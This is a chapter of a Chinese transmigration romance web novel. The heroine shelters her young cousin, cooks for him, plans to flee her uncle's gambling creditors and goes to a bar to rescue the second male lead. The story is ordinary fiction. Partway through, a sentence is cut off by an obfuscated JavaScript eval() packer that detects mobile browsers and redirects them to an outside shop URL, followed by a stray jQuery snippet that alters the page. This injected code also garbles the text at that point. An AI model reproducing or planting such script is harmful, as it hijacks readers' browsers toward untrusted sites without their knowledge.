谢知眼眸微垂,闻言嗤笑一声:“迟小姐放心,我本来也没打算陪你,你自己好自为之。”
话毕,他便不再停留,转身大步朝医院门外走去。
旁边的助理似是没反应过来老板这前后反差极大的态度,在原地愣了一瞬,但眼见谢知衍已快步走远,他连忙转身快步跟了上去。
这人真是翻脸比翻书还快。
迟婳松了口气,心想先不管那么多了,今天这茬算是掩盖过去了。
在医院多停留了一阵,待到确认谢知衍离开后,她才拿出手机打车回家。
到楼下的时候,迟婳看见公寓左侧有一个菜市场,于是走了进去。
昨天她就发现家里的冰箱已经空了,房间里库存的泡面倒是不少。迟婳适应不了原主这样的活法,在她眼里,吃得健康、穿得漂亮,才能代表积极向上的人生态度。
菜市场里人声鼎沸,一股鲜活的海腥味扑面而来。迟婳蹲在水产摊前,望着玻璃缸里活蹦乱跳的鲫鱼,两眼放光。
到这个世界这么多天,她已经许久没吃过一顿像样的饭菜了,不如买一条回去做红烧鲫鱼。
迟婳挑挑拣拣,选了一条活蹦乱跳的鲫鱼。又转到蔬菜区,买了山药、木耳,以及葱姜蒜、小米辣等配料。最后两手提得满满当当,心满意足地往家走。
公寓的电梯门打开,迟婳抬眼却见自家门口站着两个人。
一位妇女带着个约摸莫七八岁的小孩。她扎着个低丸子头,穿着件洗得发白的浅色衬衫,正按着门铃。旁边的男孩垂着头,沉默地转动着手里的魔方。
注意到电梯的动静,妇女转过头来,望见迟婳立马迎了上来:“阿婳,原来你没在家呀。”
这两位应该就是原主的伯母徐萍和弟弟迟尽。
原主双亲因车祸去世,是伯母徐萍于心不忍,才将她接到家中抚养。原主一直心怀感恩,进娱乐圈后省吃俭用,大部分的片酬都转给了伯父一家。
迟婳立刻露出个笑容:“伯母,您怎么来了?”
见徐萍面露难色,迟婳输了公寓的密码开门,将东西搁置在玄关处,做了个“请”的手势。
“伯母,有什么事情进来说。”
徐萍站在门口,轻声解释道:“阿婳,我就先不进去了,你弟弟能不能拜托你照顾几天?”
她顿了顿,双手交叠,不自在地反复摩挲着,声音干涩地开口:“你伯父他打牌又欠了钱,要债的人已经堵到家门口了,我实在没办法了......”
徐萍的话语,让迟婳立刻想起了原书中关于原主结局的描写。
说起来,原主最终选择跳楼,不全是因为网络上的流言蜚语。真正压垮她的最后一根稻草,正是这个伯父迟平。
迟平好赌,年轻时候只是打打麻将输点钱。中年失业后心气不顺,开始变本加厉,玩起了网络棋牌,从此一发不可收拾。
走投无路时,他想起了这个在娱乐圈的侄女儿,竟以她的名义借贷,最终将原主拖入了万劫不复的深渊。
原主也算是感恩的人,只可惜回报迟平这样的人不值得。
“伯母,小尽可以暂时留在我这里。”迟婳看了眼沉默玩魔方的男孩,语气平静却坚定,“至于伯父那里,我帮不了,也不会再帮了。”
徐萍眼眶泛红,点了点头:“婳婳,好孩子,麻烦你了。”
话是说出口了,但迟婳从来没带过孩子,心里多少有些忐忑。
不过,眼见迟尽安安静静地坐在沙发上,小小的身子几乎陷进沙发里,只是低头专注地摆弄着那个魔方,不哭不闹,甚至没什么多余的表情,她忽然觉得这孩子,或许挺好带的。
迟婳将老板处理好的鲫鱼用葱姜水浸泡着去腥,随后熟练地切好小米辣,备齐葱姜蒜。热锅,倒油,待油温合适,将沥干的鲫鱼下入锅中。煎至两面金黄后,加入调配好的料汁,最后撒上葱花一气呵成。一道香气四溢的红烧鲫鱼就做好了。
忙活了半个多小时,做好了红烧鲫鱼、清炒山药和紫菜蛋花汤。
两菜一汤,迟婳满意地擦了擦手,冲着客厅的方向唤了声:“小尽,过来吃饭了。”
事实证明,这小孩的确很好养。
他上桌便捧起碗,狼吞虎咽地吃起来,看得出是饿狠了,嘴边不自觉地粘上了几粒米饭。
迟婳看着这一幕,莫名有些心疼。她从旁边抽了张纸巾,递过去:“慢点吃,没人跟你抢。”
迟尽抬起脸,一双黑眸清亮亮的,声音清脆:“小姑,你什么时候做饭这么好吃了?”
“我......我学的。”
她从前就喜欢研究美食,各种菜系的食谱收藏了一堆,工作之余最大的乐趣就是照着视频复刻。只是穿来之后,一直没有机会施展。
看着小家伙吃得头也不抬,腮帮子鼓鼓的模样,她心里那点因为陌生环境而产生的飘忽感,忽然就落定了些。
“好吃就多吃点。”她又往他碗里舀了一勺蛋花汤,“以后小姑经常给你做。”
“谢谢小姑。”
“叮咚!恭喜宿主,获得一颗真爱之心。”
迟婳惊讶地听着脑海里系统的提示音。
原来这就是“真爱之心”,迟尽这孩子也太好搞定了吧。
*
接下来的两天是周末,上次的试镜的结果还没出,而原主这样的十八线糊咖自然也没有额外的工作,迟婳难得清闲几天。
在家躺尸的第二天,她突然想起原主跳楼的时间线就快到了。
酒店事件后不到一个月,债主就会找上门,逼着原主签下借债协议,从此一步步走向深渊。
这公寓是住不得了,要避开原主的下场,她得趁债主上门之前赶紧搬走。
迟婳点开银行卡余额:3001.5元。
盯着那串数字看了好几秒,她默默退出了界面。这点钱付完房租就得喝西北风,连根葱都买不起。
她叹了口气,做了好几遍“活着最重要”的心理建设后,还是认命地去了厨房,从垃圾桶里翻出了几天前自己嗤之以鼻扔掉的几包泡面。
在生存都面临挑战的时候,生活品质算什么?
她肚子正好有些饿了,于是就着泡面开始刷房源。
标准从“精装独卫”一路降到“有床就行”,迟婳最后锁定了一间2500块一个月的合租房。
要知道,网上的租房照片都是美化过的,之前在现实里租工作室她就上过当,照片看着像样板间,现场一看像案发现场。所以这回迟婳长了个心眼,跟中介约了过几天先实地看房。
正想放下手机专心吃面,备忘录的提示音忽然响了。
迟婳点开一看,是自己刚穿书那天写下的提醒事项:酒渡,林修言。
《她的白月光》里,女主的护花使者团除了男主和反派,还有一个命运格外坎坷的男二林修言。
他出身豪门,却家道中落,为了供妹妹上学,独自去了H国当练习生。可就在正式出道前夕,被公司高层盯上了,点名要他陪睡。他不肯,挣扎中打伤了人。
跟资本作对的下场就是,出道资格被撤,遣送回国。圈内没人敢再接他,走投无路之下,最后在一间酒吧里做调酒师糊口。
原著里,林修言就是今天被人叫去包间送酒,撞上了黑-帮的人,被打得半死不活,最终被女主救下。而大结局时,他为了护住女主,被人生生打断了双腿,血流而亡。
迟婳盯着屏幕上的名字。
如果这次救下林修言的人是自己,她不仅能获得100万颗真爱之心,也许还能改变男二悲惨的结局。
迟婳打开原主的衣柜,里面花花绿绿的衣服挤成一团。
她挑了半天最后只拎出一条还算顺眼的纯棉连衣裙,搭上白色斜挎包,又给自己画了个纯欲风的妆容。
身为博主,无论什么时候出门,迟婳都会习惯性地打扮自己。
她对着镜子又仔细检查了一遍妆容,确认没什么问题后,把中午剩的饭热给迟尽,嘱咐他乖乖吃完,这才出了门。
酒渡离原主的公寓不算远,迟婳按着地图规划的路线坐公交到了附近。
她刚下车,一抬眼就看见右侧立着个路标,白底黑字写着“酒渡”,箭头直指巷子深处。
迟婳记得书上写的是林修言在傍晚遇害,却没说具体几点,手机屏幕显示已经五点半了。
她加快脚步往里走,直到巷子尽头才缓了口气,提起裙摆顺着阶梯往下,抬眼就看到了金色的“酒渡”大门。
外面天还亮着,酒渡里却如同深夜,四处闪烁着五颜六色的光,不时传来DJ调试音乐的声响。
混合的酒气和烟味扑面而来,迟婳不适地皱起眉头,被呛得咳嗽几声,眼里泛起泪光。
现实里,迟婳是个很宅的人,日常活动范围几乎只限于家和公司,偶尔员工聚餐也顶多在ktv聚一聚,酒吧这种地方并不常来。
不过找人要紧。
她迅速扫过整个场子,侧身挤过几张散台,绕过一对正咬耳朵的男女,贴着吧台的边沿往里走。
她的目光很快锁定在一个穿白衬衫的少年身上。
那人纤长白皙的手指灵活地把玩着铁酒杯,将两杯叠至一起后,腾出的右手熟练地铲除冰块倒进酒杯,随后并杯,震荡,调酒。整个过程行云流水,一气呵成。
如果要问迟婳为什么能够如此精准快速地判定眼前的人就是林修言的话,那么她可以肯定地给出答案:因为他最漂亮!
少年肤色白净,一双鹿眼生的极好,浓密卷曲的睫毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786272|210175||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下,眼眸澄澈干净,连递酒的动作都带着几分和这地方格格不入的清爽。
作为书中最吸粉的男二,林修言不仅教养极好,还温和有礼,书里写他练习生时期,对粉丝也是温声细语、有求必应。
这么好的人,不应该落得那样的结局。
迟婳收回视线,目光扫过旁边酒桌上残留的半杯红酒。她拿起来晃了晃,犹豫了两秒,心一横,全泼在了自己裙子上。
白裙子瞬间洇开一片暗红,她心疼得嘴角抽了一下,这是原主衣柜里为数不多能穿出门的裙子了。
然后她抬手胡乱抓了几把头发,挪了几个座位到林修言跟前。
“小哥哥,我裙子不小心被弄脏了,”她侧了侧身,指尖拎起裙摆一角,微微蹙着眉朝他看过去,“但我不太熟这边的路,你能带我去一下洗手间吗?”
她眸光水润,语气里带着恰到好处的无措,像是真的被这件小事难住了。
迟婳对自己今天这身打扮很有信心,最斩男的纯欲风穿搭,直男都无从抵抗,更别说男二这种暖男类型的男生。
林修言目光掠过她指尖捏着的那片裙摆,又落到她脸上。
面前的女孩子歪着头看他,灯光落在她微乱的发丝和纤长的睫毛上,眉眼微垂,带着一种天然的委屈感。
他耳根没来由地热了一瞬,随即垂下眼,声音也比刚才轻了几分:“好,你跟我来。”
迟婳弯了弯嘴角,跟上去半步,落在他身侧不远不近的地方。拐角处她被刚下楼的服务生撞了一下,踉跄间手背擦过林修言垂在身侧的手指,又飞快缩了回去。
林修言的脚步顿了顿,耳根更红了。
服务生稳住托盘后连忙道歉:“不好意思小姐!”
“没事。”
服务生瞧见一旁的林修言,像是想起了什么,低声道,“楼上2201包厢点名让你去送酒。”末了又飞快补了句,“你小心点。”
林修言眼睑微垂,眸色暗了几分。
这些人不是第一次来了,上次店长就警告过他,如果再被客人投诉就让他走人,可妹妹下学期的学费还没凑齐......
他敛了神色,侧身给迟婳指了指方向:“洗手间在那边直走右拐。抱歉,我得先过去一趟。”
迟婳脸上的笑僵住了,捏着裙摆的手也不自觉地收紧。
她好不容易想出这么个办法,想帮男二避免事件的发生,可他还是要去。
眼见林修言准备接过服务生手中的托盘,迟婳几乎是本能地抬手截了过去,望着他语气坚定:“我和你一起去送!”
面前的两人闻言都愣了愣,服务生打量了一下面前这位漂亮的小姑娘,忍不住提醒道:“小姐,上面不适合你去。”
迟婳固执地摇了摇头,脑子飞速转了一瞬,脱口而出:“我男朋友在上面,他出轨了,我是来捉奸的!”
林修言怔了一下,目光在她脸上停了一瞬。她眼圈微红,睫毛上甚至还挂着一点刚才没干透的水光。
似乎是怕他不信,迟婳补充道:“真的!他今天和我说了他就在2201!”
这副样子,倒真像是来赌气抓人的。林修言没再多问,只是侧过身,轻声说了句:“跟紧我。”
迟婳点点头,跟在他身后半步的位置上了楼。
楼梯间灯光忽明忽暗,她的心跳随着脚步一下一下往上提,端着托盘的手心沁出一层薄汗。
林修言在2201门前停住,伸手推开了门。
包厢地面上散落着酒瓶破裂的玻璃渣,折射出头顶昏暗的灯光。沙发上坐着几个人,却没人说话,气氛压抑又沉闷。
中间坐着一个黑衣男人,垂着头,修长的指尖夹着半截烟,烟雾笼罩在他面前,让人看不清长相,迟婳却觉得这身形有些熟悉。
还没等她细看,旁边一个腆着啤酒肚,脖子上挂着大金链子的中年男人先发了话:“让你们带那个小白脸,怎么多跟来一个女的?”
他语气又冲又急,眼神里藏不住的慌。
今天交货还差了点数,一早就听说收货的这位不是个好敷衍的主。特意打听了他的喜好——王三说他不喜女色,却有断袖的癖好,他这才费尽心思寻来这酒吧的小白脸。
没想到多跟上来一个女的,这要是惹了那位不高兴,他可就完了。
“张老板,这就是你说的惊喜?”一道冷冽的男声缓缓响起,音调无波无澜,却裹着刺骨的寒意。
张老板只觉后脊瞬间沁出一层冷汗,以为是迟婳坏了事,连忙转头撒气:“你这妞还不滚出去!谁让你上来的?”
而迟婳此刻的心情也不太好。
因为中间那个黑衣男人抬了头。
那双漆黑淡漠的眼眸她再熟悉不过,她一眼认出,是谢知衍。